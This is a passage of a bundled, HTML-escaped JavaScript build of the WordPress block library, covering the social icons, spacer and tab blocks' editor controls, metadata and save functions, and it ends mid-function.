                    onChange: () =&gt; setAttributes({ showLabels: !showLabels })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
              import_components152.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                label: (0, import_i18n232.__)(&quot;Open links in new tab&quot;),
                hasValue: () =&gt; !!openInNewTab,
                onDeselect: () =&gt; setAttributes({ openInNewTab: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
                  import_components152.ToggleControl,
                  {
                    label: (0, import_i18n232.__)(&quot;Open links in new tab&quot;),
                    checked: openInNewTab,
                    onChange: () =&gt; setAttributes({
                      openInNewTab: !openInNewTab
                    })
                  }
                )
              }
            )
          ]
        }
      ) }),
      colorGradientSettings.hasColorsOrGradients &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime481.jsxs)(import_block_editor241.InspectorControls, { group: &quot;color&quot;, children: [
        colorSettings.map(
          ({ onChange, label, value, resetAllFilter }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
            import_block_editor241.__experimentalColorGradientSettingsDropdown,
            {
              __experimentalIsRenderedInSidebar: true,
              settings: [
                {
                  colorValue: value,
                  label,
                  onColorChange: onChange,
                  isShownByDefault: true,
                  resetAllFilter,
                  enableAlpha: true,
                  clearable: true
                }
              ],
              panelId: clientId,
              ...colorGradientSettings
            },
            `social-links-color-${label}`
          )
        ),
        !logosOnly &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
          import_block_editor241.ContrastChecker,
          {
            ...{
              textColor: iconColorValue,
              backgroundColor: iconBackgroundColorValue
            },
            isLargeText: false
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(&quot;ul&quot;, { ...innerBlocksProps })
    ] });
  }
  var iconColorAttributes = {
    iconColor: &quot;icon-color&quot;,
    iconBackgroundColor: &quot;icon-background-color&quot;
  };
  var edit_default33 = (0, import_block_editor241.withColors)(iconColorAttributes)(SocialLinksEdit);

  // packages/block-library/build-module/social-links/block.json
  var block_default102 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/social-links&quot;,
    title: &quot;Social Icons&quot;,
    category: &quot;widgets&quot;,
    allowedBlocks: [&quot;core/social-link&quot;],
    description: &quot;Display icons linking to your social profiles or sites.&quot;,
    keywords: [&quot;links&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      iconColor: {
        type: &quot;string&quot;
      },
      customIconColor: {
        type: &quot;string&quot;
      },
      iconColorValue: {
        type: &quot;string&quot;
      },
      iconBackgroundColor: {
        type: &quot;string&quot;
      },
      customIconBackgroundColor: {
        type: &quot;string&quot;
      },
      iconBackgroundColorValue: {
        type: &quot;string&quot;
      },
      openInNewTab: {
        type: &quot;boolean&quot;,
        default: false
      },
      showLabels: {
        type: &quot;boolean&quot;,
        default: false
      },
      size: {
        type: &quot;string&quot;
      }
    },
    providesContext: {
      openInNewTab: &quot;openInNewTab&quot;,
      showLabels: &quot;showLabels&quot;,
      iconColor: &quot;iconColor&quot;,
      iconColorValue: &quot;iconColorValue&quot;,
      iconBackgroundColor: &quot;iconBackgroundColor&quot;,
      iconBackgroundColorValue: &quot;iconBackgroundColorValue&quot;
    },
    supports: {
      align: [&quot;left&quot;, &quot;center&quot;, &quot;right&quot;],
      anchor: true,
      html: false,
      __experimentalExposeControlsToChildren: true,
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowVerticalAlignment: false,
        default: {
          type: &quot;flex&quot;
        }
      },
      color: {
        enableContrastChecker: false,
        background: true,
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: false
        }
      },
      spacing: {
        blockGap: [&quot;horizontal&quot;, &quot;vertical&quot;],
        margin: true,
        padding: true,
        units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
        __experimentalDefaultControls: {
          blockGap: true,
          margin: true,
          padding: false
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      contentRole: true,
      listView: true
    },
    styles: [
      { name: &quot;default&quot;, label: &quot;Default&quot;, isDefault: true },
      { name: &quot;logos-only&quot;, label: &quot;Logos Only&quot; },
      { name: &quot;pill-shape&quot;, label: &quot;Pill Shape&quot; }
    ],
    editorStyle: &quot;wp-block-social-links-editor&quot;,
    style: &quot;wp-block-social-links&quot;
  };

  // packages/block-library/build-module/social-links/save.mjs
  var import_block_editor242 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime482 = __toESM(require_jsx_runtime(), 1);
  function save46(props) {
    const {
      attributes: {
        iconBackgroundColorValue,
        iconColorValue,
        showLabels,
        size
      }
    } = props;
    const className = clsx_default(size, {
      &quot;has-visible-labels&quot;: showLabels,
      &quot;has-icon-color&quot;: iconColorValue,
      &quot;has-icon-background-color&quot;: iconBackgroundColorValue
    });
    const blockProps = import_block_editor242.useBlockProps.save({ className });
    const innerBlocksProps = import_block_editor242.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime482.jsx)(&quot;ul&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/social-links/index.mjs
  var { name: name103 } = block_default102;
  var settings102 = {
    example: {
      innerBlocks: [
        {
          name: &quot;core/social-link&quot;,
          attributes: {
            service: &quot;wordpress&quot;,
            url: &quot;https://wordpress.org&quot;
          }
        },
        {
          name: &quot;core/social-link&quot;,
          attributes: {
            service: &quot;facebook&quot;,
            url: &quot;https://www.facebook.com/WordPress/&quot;
          }
        },
        {
          name: &quot;core/social-link&quot;,
          attributes: {
            service: &quot;twitter&quot;,
            url: &quot;https://twitter.com/WordPress&quot;
          }
        }
      ]
    },
    icon: share_default,
    edit: edit_default33,
    save: save46,
    deprecated: deprecated_default48
  };
  var init102 = () =&gt; initBlock({ name: name103, metadata: block_default102, settings: settings102 });

  // packages/block-library/build-module/spacer/index.mjs
  var spacer_exports = {};
  __export(spacer_exports, {
    init: () =&gt; init103,
    metadata: () =&gt; block_default103,
    name: () =&gt; name104,
    settings: () =&gt; settings103
  });

  // packages/block-library/build-module/spacer/deprecated.mjs
  var import_block_editor243 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime483 = __toESM(require_jsx_runtime(), 1);
  var deprecated18 = [
    {
      attributes: {
        height: {
          type: &quot;number&quot;,
          default: 100
        },
        width: {
          type: &quot;number&quot;
        }
      },
      migrate(attributes2) {
        const { height, width } = attributes2;
        return {
          ...attributes2,
          width: width !== void 0 ? `${width}px` : void 0,
          height: height !== void 0 ? `${height}px` : void 0
        };
      },
      save({ attributes: attributes2 }) {
        return /* @__PURE__ */ (0, import_jsx_runtime483.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor243.useBlockProps.save({
              style: {
                height: attributes2.height,
                width: attributes2.width
              },
              &quot;aria-hidden&quot;: true
            })
          }
        );
      }
    }
  ];
  var deprecated_default49 = deprecated18;

  // packages/block-library/build-module/spacer/edit.mjs
  var import_block_editor245 = __toESM(require_block_editor(), 1);
  var import_components154 = __toESM(require_components(), 1);
  var import_element122 = __toESM(require_element(), 1);
  var import_primitives214 = __toESM(require_primitives(), 1);
  var import_data136 = __toESM(require_data(), 1);

  // packages/block-library/build-module/spacer/controls.mjs
  var import_i18n233 = __toESM(require_i18n(), 1);
  var import_block_editor244 = __toESM(require_block_editor(), 1);
  var import_components153 = __toESM(require_components(), 1);
  var import_compose57 = __toESM(require_compose(), 1);
  var import_primitives213 = __toESM(require_primitives(), 1);

  // packages/block-library/build-module/spacer/constants.mjs
  var MIN_SPACER_SIZE = 0;

  // packages/block-library/build-module/spacer/controls.mjs
  var import_jsx_runtime484 = __toESM(require_jsx_runtime(), 1);
  var { useSpacingSizes } = unlock(import_block_editor244.privateApis);
  function DimensionInput({ label, onChange, isResizing, value = &quot;&quot; }) {
    const inputId = (0, import_compose57.useInstanceId)(import_components153.__experimentalUnitControl, &quot;block-spacer-height-input&quot;);
    const spacingSizes = useSpacingSizes();
    const [spacingUnits] = (0, import_block_editor244.useSettings)(&quot;spacing.units&quot;);
    const availableUnits = spacingUnits ? spacingUnits.filter((unit) =&gt; unit !== &quot;%&quot;) : [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vw&quot;, &quot;vh&quot;];
    const units = (0, import_components153.__experimentalUseCustomUnits)({
      availableUnits,
      defaultValues: { px: 100, em: 10, rem: 10, vw: 10, vh: 25 }
    });
    const [parsedQuantity, parsedUnit] = (0, import_components153.__experimentalParseQuantityAndUnitFromRawValue)(value);
    const computedValue = (0, import_block_editor244.isValueSpacingPreset)(value) ? value : [parsedQuantity, isResizing ? &quot;px&quot; : parsedUnit].join(&quot;&quot;);
    return /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(import_jsx_runtime484.Fragment, { children: spacingSizes?.length &lt; 2 ? /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(
      import_components153.__experimentalUnitControl,
      {
        id: inputId,
        isResetValueOnUnitChange: true,
        min: MIN_SPACER_SIZE,
        onChange,
        value: computedValue,
        units,
        label,
        __next40pxDefaultSize: true
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(import_primitives213.View, { className: &quot;tools-panel-item-spacing&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(
      import_block_editor244.__experimentalSpacingSizesControl,
      {
        values: { all: computedValue },
        onChange: ({ all }) =&gt; {
          onChange(all);
        },
        label,
        sides: [&quot;all&quot;],
        units,
        allowReset: false,
        splitOnAxis: false,
        showSideInLabel: false
      }
    ) }) });
  }
  function SpacerControls({
    setAttributes,
    orientation,
    height,
    width,
    isResizing
  }) {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(import_block_editor244.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime484.jsxs)(
      import_components153.__experimentalToolsPanel,
      {
        label: (0, import_i18n233.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            width: void 0,
            height: &quot;100px&quot;
          });
        },
        dropdownMenuProps,
        children: [
          orientation === &quot;horizontal&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(
            import_components153.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n233.__)(&quot;Width&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; width !== void 0,
              onDeselect: () =&gt; setAttributes({ width: void 0 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(
                DimensionInput,
                {
                  label: (0, import_i18n233.__)(&quot;Width&quot;),
                  value: width,
                  onChange: (nextWidth) =&gt; setAttributes({ width: nextWidth }),
                  isResizing
                }
              )
            }
          ),
          orientation !== &quot;horizontal&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(
            import_components153.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n233.__)(&quot;Height&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; height !== &quot;100px&quot;,
              onDeselect: () =&gt; setAttributes({ height: &quot;100px&quot; }),
              children: /* @__PURE__ */ (0, import_jsx_runtime484.jsx)(
                DimensionInput,
                {
                  label: (0, import_i18n233.__)(&quot;Height&quot;),
                  value: height,
                  onChange: (nextHeight) =&gt; setAttributes({ height: nextHeight }),
                  isResizing
                }
              )
            }
          )
        ]
      }
    ) });
  }

  // packages/block-library/build-module/spacer/edit.mjs
  var import_jsx_runtime485 = __toESM(require_jsx_runtime(), 1);
  var { useSpacingSizes: useSpacingSizes2 } = unlock(import_block_editor245.privateApis);
  var ResizableSpacer = ({
    orientation,
    onResizeStart,
    onResize,
    onResizeStop,
    isSelected,
    isResizing,
    setIsResizing,
    ...props
  }) =&gt; {
    const getCurrentSize = (elt) =&gt; {
      return orientation === &quot;horizontal&quot; ? elt.clientWidth : elt.clientHeight;
    };
    const getNextVal = (elt) =&gt; {
      return `${getCurrentSize(elt)}px`;
    };
    return /* @__PURE__ */ (0, import_jsx_runtime485.jsx)(
      import_components154.ResizableBox,
      {
        className: clsx_default(&quot;block-library-spacer__resize-container&quot;, {
          &quot;resize-horizontal&quot;: orientation === &quot;horizontal&quot;,
          &quot;is-resizing&quot;: isResizing,
          &quot;is-selected&quot;: isSelected
        }),
        onResizeStart: (_event, _direction, elt) =&gt; {
          const nextVal = getNextVal(elt);
          onResizeStart(nextVal);
          onResize(nextVal);
        },
        onResize: (_event, _direction, elt) =&gt; {
          onResize(getNextVal(elt));
          if (!isResizing) {
            setIsResizing(true);
          }
        },
        onResizeStop: (_event, _direction, elt) =&gt; {
          const nextVal = getCurrentSize(elt);
          onResizeStop(`${nextVal}px`);
          setIsResizing(false);
        },
        __experimentalShowTooltip: true,
        __experimentalTooltipProps: {
          axis: orientation === &quot;horizontal&quot; ? &quot;x&quot; : &quot;y&quot;,
          position: &quot;corner&quot;,
          isVisible: isResizing
        },
        showHandle: isSelected,
        ...props
      }
    );
  };
  var SpacerEdit = ({
    attributes: attributes2,
    isSelected,
    setAttributes,
    toggleSelection,
    context,
    __unstableParentLayout: parentLayout,
    className
  }) =&gt; {
    const disableCustomSpacingSizes = (0, import_data136.useSelect)((select9) =&gt; {
      const editorSettings = select9(import_block_editor245.store).getSettings();
      return editorSettings?.disableCustomSpacingSizes;
    });
    const { orientation } = context;
    const {
      orientation: parentOrientation,
      type,
      default: { type: defaultType } = {}
    } = parentLayout || {};
    const isFlexLayout = type === &quot;flex&quot; || !type &amp;&amp; defaultType === &quot;flex&quot;;
    const inheritedOrientation = !parentOrientation &amp;&amp; isFlexLayout ? &quot;horizontal&quot; : parentOrientation || orientation;
    const { height, width, style: blockStyle = {} } = attributes2;
    const { layout = {} } = blockStyle;
    const { selfStretch, flexSize } = layout;
    const spacingSizes = useSpacingSizes2();
    const [isResizing, setIsResizing] = (0, import_element122.useState)(false);
    const [temporaryHeight, setTemporaryHeight] = (0, import_element122.useState)(null);
    const [temporaryWidth, setTemporaryWidth] = (0, import_element122.useState)(null);
    const onResizeStart = () =&gt; toggleSelection(false);
    const onResizeStop = () =&gt; toggleSelection(true);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data136.useDispatch)(import_block_editor245.store);
    const handleOnVerticalResizeStop = (newHeight) =&gt; {
      onResizeStop();
      if (isFlexLayout) {
        setAttributes({
          style: {
            ...blockStyle,
            layout: {
              ...layout,
              flexSize: newHeight,
              selfStretch: &quot;fixed&quot;
            }
          }
        });
      }
      setAttributes({ height: newHeight });
      setTemporaryHeight(null);
    };
    const handleOnHorizontalResizeStop = (newWidth) =&gt; {
      onResizeStop();
      if (isFlexLayout) {
        setAttributes({
          style: {
            ...blockStyle,
            layout: {
              ...layout,
              flexSize: newWidth,
              selfStretch: &quot;fixed&quot;
            }
          }
        });
      }
      setAttributes({ width: newWidth });
      setTemporaryWidth(null);
    };
    const getHeightForVerticalBlocks = () =&gt; {
      if (isFlexLayout) {
        return void 0;
      }
      return temporaryHeight || (0, import_block_editor245.getSpacingPresetCssVar)(height) || void 0;
    };
    const getWidthForHorizontalBlocks = () =&gt; {
      if (isFlexLayout) {
        return void 0;
      }
      return temporaryWidth || (0, import_block_editor245.getSpacingPresetCssVar)(width) || void 0;
    };
    const sizeConditionalOnOrientation = inheritedOrientation === &quot;horizontal&quot; ? temporaryWidth || flexSize : temporaryHeight || flexSize;
    const style2 = {
      height: inheritedOrientation === &quot;horizontal&quot; ? 24 : getHeightForVerticalBlocks(),
      width: inheritedOrientation === &quot;horizontal&quot; ? getWidthForHorizontalBlocks() : void 0,
      // In vertical flex containers, the spacer shrinks to nothing without a minimum width.
      minWidth: inheritedOrientation === &quot;vertical&quot; &amp;&amp; isFlexLayout ? 48 : void 0,
      // Add flex-basis so temporary sizes are respected.
      flexBasis: isFlexLayout ? sizeConditionalOnOrientation : void 0,
      // Remove flex-grow when resizing.
      flexGrow: isFlexLayout &amp;&amp; isResizing ? 0 : void 0
    };
    const resizableBoxWithOrientation = (blockOrientation) =&gt; {
      if (blockOrientation === &quot;horizontal&quot;) {
        return /* @__PURE__ */ (0, import_jsx_runtime485.jsx)(
          ResizableSpacer,
          {
            minWidth: MIN_SPACER_SIZE,
            enable: {
              top: false,
              right: true,
              bottom: false,
              left: false,
              topRight: false,
              bottomRight: false,
              bottomLeft: false,
              topLeft: false
            },
            orientation: blockOrientation,
            onResizeStart,
            onResize: setTemporaryWidth,
            onResizeStop: handleOnHorizontalResizeStop,
            isSelected,
            isResizing,
            setIsResizing
          }
        );
      }
      return /* @__PURE__ */ (0, import_jsx_runtime485.jsx)(import_jsx_runtime485.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime485.jsx)(
        ResizableSpacer,
        {
          minHeight: MIN_SPACER_SIZE,
          enable: {
            top: false,
            right: false,
            bottom: true,
            left: false,
            topRight: false,
            bottomRight: false,
            bottomLeft: false,
            topLeft: false
          },
          orientation: blockOrientation,
          onResizeStart,
          onResize: setTemporaryHeight,
          onResizeStop: handleOnVerticalResizeStop,
          isSelected,
          isResizing,
          setIsResizing
        }
      ) });
    };
    (0, import_element122.useEffect)(() =&gt; {
      const setAttributesCovertly = (nextAttributes) =&gt; {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes(nextAttributes);
      };
      if (isFlexLayout &amp;&amp; selfStretch !== &quot;fill&quot; &amp;&amp; selfStretch !== &quot;fit&quot; &amp;&amp; flexSize === void 0) {
        if (inheritedOrientation === &quot;horizontal&quot;) {
          const newSize = (0, import_block_editor245.getCustomValueFromPreset)(width, spacingSizes) || (0, import_block_editor245.getCustomValueFromPreset)(height, spacingSizes) || &quot;100px&quot;;
          setAttributesCovertly({
            width: &quot;0px&quot;,
            style: {
              ...blockStyle,
              layout: {
                ...layout,
                flexSize: newSize,
                selfStretch: &quot;fixed&quot;
              }
            }
          });
        } else {
          const newSize = (0, import_block_editor245.getCustomValueFromPreset)(height, spacingSizes) || (0, import_block_editor245.getCustomValueFromPreset)(width, spacingSizes) || &quot;100px&quot;;
          setAttributesCovertly({
            height: &quot;0px&quot;,
            style: {
              ...blockStyle,
              layout: {
                ...layout,
                flexSize: newSize,
                selfStretch: &quot;fixed&quot;
              }
            }
          });
        }
      } else if (isFlexLayout &amp;&amp; (selfStretch === &quot;fill&quot; || selfStretch === &quot;fit&quot;)) {
        setAttributesCovertly(
          inheritedOrientation === &quot;horizontal&quot; ? { width: void 0 } : { height: void 0 }
        );
      } else if (!isFlexLayout &amp;&amp; (selfStretch || flexSize)) {
        setAttributesCovertly({
          ...inheritedOrientation === &quot;horizontal&quot; ? { width: flexSize } : { height: flexSize },
          style: {
            ...blockStyle,
            layout: {
              ...layout,
              flexSize: void 0,
              selfStretch: void 0
            }
          }
        });
      }
    }, [
      blockStyle,
      flexSize,
      height,
      inheritedOrientation,
      isFlexLayout,
      layout,
      selfStretch,
      setAttributes,
      spacingSizes,
      width,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const blockEditingMode = (0, import_block_editor245.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime485.jsxs)(import_jsx_runtime485.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime485.jsx)(
        import_primitives214.View,
        {
          ...(0, import_block_editor245.useBlockProps)({
            style: style2,
            className: clsx_default(className, {
              &quot;custom-sizes-disabled&quot;: disableCustomSpacingSizes
            })
          }),
          children: blockEditingMode === &quot;default&quot; &amp;&amp; resizableBoxWithOrientation(inheritedOrientation)
        }
      ),
      !isFlexLayout &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime485.jsx)(
        SpacerControls,
        {
          setAttributes,
          height: temporaryHeight || height,
          width: temporaryWidth || width,
          orientation: inheritedOrientation,
          isResizing
        }
      )
    ] });
  };
  var edit_default34 = SpacerEdit;

  // packages/block-library/build-module/spacer/block.json
  var block_default103 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/spacer&quot;,
    title: &quot;Spacer&quot;,
    category: &quot;design&quot;,
    description: &quot;Add white space between blocks and customize its height.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      height: {
        type: &quot;string&quot;,
        default: &quot;100px&quot;
      },
      width: {
        type: &quot;string&quot;
      }
    },
    usesContext: [&quot;orientation&quot;],
    supports: {
      anchor: true,
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        __experimentalDefaultControls: {
          margin: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-spacer-editor&quot;,
    style: &quot;wp-block-spacer&quot;
  };

  // packages/block-library/build-module/spacer/transforms.mjs
  var import_blocks110 = __toESM(require_blocks(), 1);
  var transforms33 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/separator&quot;],
        // Transform to Separator.
        transform: ({ anchor }) =&gt; {
          return (0, import_blocks110.createBlock)(&quot;core/separator&quot;, {
            anchor: anchor || void 0
          });
        }
      }
    ]
  };
  var transforms_default34 = transforms33;

  // packages/block-library/build-module/spacer/save.mjs
  var import_block_editor246 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime486 = __toESM(require_jsx_runtime(), 1);
  function save47({ attributes: attributes2 }) {
    const { height, width, style: style2 } = attributes2;
    const { layout: { selfStretch } = {} } = style2 || {};
    const finalHeight = selfStretch === &quot;fill&quot; || selfStretch === &quot;fit&quot; ? void 0 : height;
    return /* @__PURE__ */ (0, import_jsx_runtime486.jsx)(
      &quot;div&quot;,
      {
        ...import_block_editor246.useBlockProps.save({
          style: {
            height: (0, import_block_editor246.getSpacingPresetCssVar)(finalHeight),
            width: (0, import_block_editor246.getSpacingPresetCssVar)(width)
          },
          &quot;aria-hidden&quot;: true
        })
      }
    );
  }

  // packages/block-library/build-module/spacer/index.mjs
  var { name: name104 } = block_default103;
  var settings103 = {
    icon: resize_corner_ne_default,
    transforms: transforms_default34,
    edit: edit_default34,
    save: save47,
    deprecated: deprecated_default49
  };
  var init103 = () =&gt; initBlock({ name: name104, metadata: block_default103, settings: settings103 });

  // packages/block-library/build-module/tab/index.mjs
  var tab_exports = {};
  __export(tab_exports, {
    init: () =&gt; init104,
    metadata: () =&gt; block_default104,
    name: () =&gt; name105,
    settings: () =&gt; settings104
  });

  // packages/block-library/build-module/tab/edit.mjs
  var import_i18n237 = __toESM(require_i18n(), 1);
  var import_block_editor250 = __toESM(require_block_editor(), 1);
  var import_data140 = __toESM(require_data(), 1);
  var import_element123 = __toESM(require_element(), 1);

  // packages/block-library/build-module/tab/controls.mjs
  var import_block_editor249 = __toESM(require_block_editor(), 1);
  var import_components157 = __toESM(require_components(), 1);
  var import_i18n236 = __toESM(require_i18n(), 1);
  var import_data139 = __toESM(require_data(), 1);

  // packages/block-library/build-module/tab/add-tab-toolbar-control.mjs
  var import_i18n234 = __toESM(require_i18n(), 1);
  var import_blocks111 = __toESM(require_blocks(), 1);
  var import_block_editor247 = __toESM(require_block_editor(), 1);
  var import_components155 = __toESM(require_components(), 1);
  var import_data137 = __toESM(require_data(), 1);
  var import_jsx_runtime487 = __toESM(require_jsx_runtime(), 1);
  function AddTabToolbarControl({ tabsClientId }) {
    const { insertBlock } = (0, import_data137.useDispatch)(import_block_editor247.store);
    const { tabPanelClientId, nextTabIndex } = (0, import_data137.useSelect)(
      (select9) =&gt; {
        if (!tabsClientId) {
          return {
            tabPanelClientId: null,
            nextTabIndex: 0
          };
        }
        const { getBlocks } = select9(import_block_editor247.store);
        const innerBlocks = getBlocks(tabsClientId);
        const tabPanel = innerBlocks.find(
          (block) =&gt; block.name === &quot;core/tab-panel&quot;
        );
        return {
          tabPanelClientId: tabPanel?.clientId || null,
          nextTabIndex: (tabPanel?.innerBlocks.length || 0) + 1
        };
      },
      [tabsClientId]
    );
    const addTab = () =&gt; {
      if (!tabPanelClientId) {
        return;
      }
      const newTabBlock = (0, import_blocks111.createBlock)(&quot;core/tab&quot;, {
        anchor: &quot;tab-&quot; + nextTabIndex,
        /* translators: %d: tab number */
        label: (0, import_i18n234.sprintf)((0, import_i18n234.__)(&quot;Tab %d&quot;), nextTabIndex)
      });
      insertBlock(newTabBlock, void 0, tabPanelClientId);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime487.jsx)(import_block_editor247.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime487.jsx)(import_components155.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime487.jsx)(
      import_components155.ToolbarButton,
      {
        className: &quot;components-toolbar__control&quot;,
        onClick: addTab,
        text: (0, import_i18n234.__)(&quot;Add tab&quot;)
      }
    ) }) });
  }

  // packages/block-library/build-module/tab/remove-tab-toolbar-control.mjs
  var import_block_editor248 = __toESM(require_block_editor(), 1);
  var import_components156 = __toESM(require_components(), 1);
  var import_i18n235 = __toESM(require_i18n(), 1);
  var import_data138 = __toESM(require_data(), 1);
  var import_jsx_runtime488 = __toESM(require_jsx_runtime(), 1);
  function RemoveTabToolbarControl({ tabsClientId }) {
    const {
      removeBlock,
      updateBlockAttributes,
      selectBlock,
      __unstableMarkNextChangeAsNotPersistent
    } = (0, import_data138.useDispatch)(import_block_editor248.store);
    const { activeTabClientId, tabCount, editorActiveTabIndex } = (0, import_data138.useSelect)(
      (select9) =&gt; {
        if (!tabsClientId) {
          return {
            activeTabClientId: null,
            tabCount: 0,
            editorActiveTabIndex: 0
          };
        }
        const { getBlocks, getBlockAttributes: getBlockAttributes4 } = select9(import_block_editor248.store);
        const tabsAttributes = getBlockAttributes4(tabsClientId);
        const activeIndex = tabsAttributes?.editorActiveTabIndex ?? tabsAttributes?.activeTabIndex ?? 0;
        const innerBlocks = getBlocks(tabsClientId);
        const tabPanel = innerBlocks.find(
          (block) =&gt; block.name === &quot;core/tab-panel&quot;
        );
        const tabs = tabPanel?.innerBlocks || [];
        const activeTab = tabs[activeIndex];
        return {
          activeTabClientId: activeTab?.clientId || null,
          tabCount: tabs.length,
          editorActiveTabIndex: activeIndex
        };
      },
      [tabsClientId]
    );
    const removeTab = () =&gt; {
      if (!activeTabClientId || tabCount &lt;= 1) {
        return;
      }
      const newActiveIndex = editorActiveTabIndex &gt;= tabCount - 1 ? tabCount - 2 : editorActiveTabIndex;
      __unstableMarkNextChangeAsNotPersistent();
      updateBlockAttributes(tabsClientId, {
        editorActiveTabIndex: newActiveIndex
      });
      removeBlock(activeTabClientId, false);
      if (tabsClientId) {
        selectBlock(tabsClientId);
      }
    };
    const isDisabled = tabCount &lt;= 1 || !activeTabClientId;
    return /* @__PURE__ */ (0, import_jsx_runtime488.jsx)(import_block_editor248.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime488.jsx)(import_components156.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime488.jsx)(
      import_components156.ToolbarButton,
      {
        className: &quot;components-toolbar__control&quot;,
        onClick: removeTab,
        text: (0, import_i18n235.__)(&quot;Remove tab&quot;),
        disabled: isDisabled
      }
    ) }) });
  }

  // packages/block-library/build-module/tab/controls.mjs
  var import_jsx_runtime489 = __toESM(require_jsx_runtime(), 1);
  function Controls3({ tabsClientId, blockIndex, isDefaultTab }) {
    const { updateBlockAttributes } = (0, import_data139.useDispatch)(import_block_editor249.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime489.jsxs)(import_jsx_runtime489.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime489.jsx)(AddTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime489.jsx)(RemoveTabToolbarControl, { tabsClientId }),
      /* @__PURE__ */ (0, import_jsx_runtime489.jsx)(import_block_editor249.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime489.jsx)(
        import_components157.__experimentalToolsPanel,
        {
          label: (0, import_i18n236.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            updateBlockAttributes(tabsClientId, {
              activeTabIndex: 0
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime489.jsx)(
            import_components157.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n236.__)(&quot;Default tab&quot;),
              hasValue: () =&gt; isDefaultTab &amp;&amp; blockIndex !== 0,
              onDeselect: () =&gt; {
                updateBlockAttributes(tabsClientId, {
                  activeTabIndex: 0
                });
              },
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime489.jsx)(
                import_components157.CheckboxControl,
                {
                  label: (0, import_i18n236.__)(&quot;Default tab&quot;),
                  checked: isDefaultTab,
                  onChange: (value) =&gt; {
                    updateBlockAttributes(tabsClientId, {
                      activeTabIndex: value ? blockIndex : 0
                    });
                  }
                }
              )
            }
          )
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/tab/slug-from-label.mjs
  var import_url20 = __toESM(require_url(), 1);
  function slugFromLabel(label, tabIndex) {
    const htmlDocument = new window.DOMParser().parseFromString(
      label,
      &quot;text/html&quot;
    );
    if (htmlDocument.body?.textContent) {
      return (0, import_url20.cleanForSlug)(htmlDocument.body.textContent);
    }
    return `tab-panel-${tabIndex}`;
  }

  // packages/block-library/build-module/tab/edit.mjs
  var import_jsx_runtime490 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE17 = [
    [
      &quot;core/paragraph&quot;,
      {
        placeholder: (0, import_i18n237.__)(&quot;Type / to choose a block&quot;)
      }
    ]
  ];
  var { cancelAnimationFrame } = window;
  function Edit19({
    attributes: attributes2,
    clientId,
    context,
    isSelected,
